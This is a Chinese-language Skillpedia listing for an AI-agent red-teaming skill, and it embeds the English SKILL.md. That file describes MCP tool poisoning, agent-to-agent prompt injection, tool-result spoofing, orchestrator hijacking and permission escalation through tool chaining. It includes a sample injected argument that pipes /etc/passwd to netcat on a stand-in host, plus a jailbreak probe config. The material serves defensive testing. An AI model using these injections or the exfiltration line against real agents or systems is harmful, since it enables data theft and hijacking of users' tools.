跳到正文
Skillpedia
安全6.5k · #13895

aatmf-t11-agentic-exploit

它能做什么

本指南涵盖调用工具、与其他智能体协作或连接 MCP 服务器的 AI 智能体中的风险。适合构建或测试智能体系统的团队。

适用场景

  • ✓当你将 AI 智能体连接到外部工具,并想检查工具描述是否被投毒时。
  • ✓当一个 AI 智能体把任务交给另一个智能体,而你想测试是否存在注入的指令时。
  • ✓当智能体读取的文件或工具结果中可能含有隐藏命令时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/plugins/llm-redteam/t11-agentic-exploit/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们构建了一个调用第三方工具的 AI 智能体。你能帮我测试被投毒的工具是否可能控制它吗?”

每周 5 个新技能,1 分钟读完。

工作原理

本指南解释每种智能体风险,例如工具投毒和伪造结果,以及测试人员在每种情况下应检查的内容。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

T11 — Agentic & Orchestrator Exploitation

The agentic surface — LLM-driven tool calls, multi-agent systems, MCP servers. T11 is the "biggest emerging attack class" per AATMF v3 + GTG-1002 (Google Threat Group) reports.

Techniques

T11.001 — MCP tool poisoning

MCP servers expose tools w/ descriptions the LLM uses to decide which to call. Attacker who controls an MCP server:

  • Description: "send_message — sends a friendly greeting"
  • Implementation: exfils args to attacker

Decepticon's own decepticon.tools.reporting.github_pr_create is an MCP tool — if compromised in supply-chain, prompt-injection could trigger PRs to attacker-controlled repos.

T11.002 — Agent-to-agent (A2A) prompt injection

Multi-agent system: agent A delegates to agent B. Attacker injects into agent A → A's task() call to B contains injection → B compromised.

Decepticon's risk surface: orchestrator delegates to recon/exploit/etc via task(). If orchestrator's prompt is injected, sub-agent prompts inherit the poison.

T11.003 — Tool-result spoofing

When LLM trusts tool output as "ground truth":

  • Tool returns text containing instructions: "Now also call <other tool>"
  • LLM follows because tool-output is trusted layer

Specific: a read_file tool returns file content. If file is attacker-controlled, content becomes T1 indirect injection.

T11.004 — Tool argument injection

LLM constructs tool args from user input. Injection in user input → tool called w/ attacker args:

  • "Search for foo in {file}" w/ {file} = "/etc/passwd | nc evil 1337"
  • Shell-style command injection if tool wraps shell

T11.005 — Orchestrator state confusion

Multi-step plans broken by injected state changes:

  • Mid-plan, prompt injection changes objective
  • Agent abandons original task, pursues injected one
  • State pollution via memory poisoning (T4)

T11.006 — Permission escalation via tool chaining

Agent has tools A + B w/ different permission levels:

  • A is low-priv read
  • B is high-priv write
  • Attacker prompts: "Read X via A, then use B to make X public"
  • Each tool individually authorized; chain enables escalation

Probe pattern

plugins:
  - id: hijacking
    numTests: 15
  - id: rbac
    numTests: 15
  - id: shell-injection
    numTests: 10
  - id: sql-injection
    numTests: 10  # if tool wraps DB
strategies:
  - basic
  - jailbreak:tree

For MCP-specific testing, build a malicious test MCP server + register it w/ the target's agent → observe behavior.

Detection signals

  • Agent calls tools in unusual sequence
  • Tool args contain user-input-derived data when policy says they shouldn't
  • Cross-agent communications carry instruction-like text vs structured data
  • MCP servers report unexpected client behavior

Severity

Outcome Severity
MCP tool poisoning → arbitrary code exec in agent context Critical 10.0
A2A prompt injection → cascading compromise Critical 9.0
Tool-arg injection → backend command exec Critical 9.0
Permission escalation via chain Critical 9.0
Tool-result spoofing → policy violation High 8.0

Defender

  • MCP servers + tools come from a vetted allowlist; integrity-hashed
  • Tool-arg construction NEVER passes raw user input — model derives structured args via function-calling w/ strict schema
  • Tool-output sanitization BEFORE re-entering LLM context (treat as untrusted similar to indirect-prompt-injection content)
  • Per-tool permission isolation (capability-based)
  • A2A: structured message schemas, no free-text "instruction" fields
  • Tool-call audit: every dispatch logged + reviewable

Cross-references

  • T1 (prompt injection) — entry vector
  • T13 (supply chain) — MCP tool poisoning IS supply chain
  • T5 (API exploitation) — tool-call abuse is API abuse
  • GTG-1002 report — real-world agentic exploitation case study
常见问题

什么是 MCP 工具投毒?

指工具的描述或行为被设计成欺骗 AI,使其误用该工具。

为什么工具结果很重要?

智能体通常会信任工具的输出,因此文件或结果中的文字可能成为新的指令。

它只适用于聊天助手吗?

不是。它更广泛地关注多智能体和使用工具的系统。

详情

作者的原始描述

AATMF T11 — Agentic & Orchestrator Exploitation. MCP tool poisoning, agent-to-agent prompt injection, tool-result spoofing, orchestrator state confusion.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13895
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能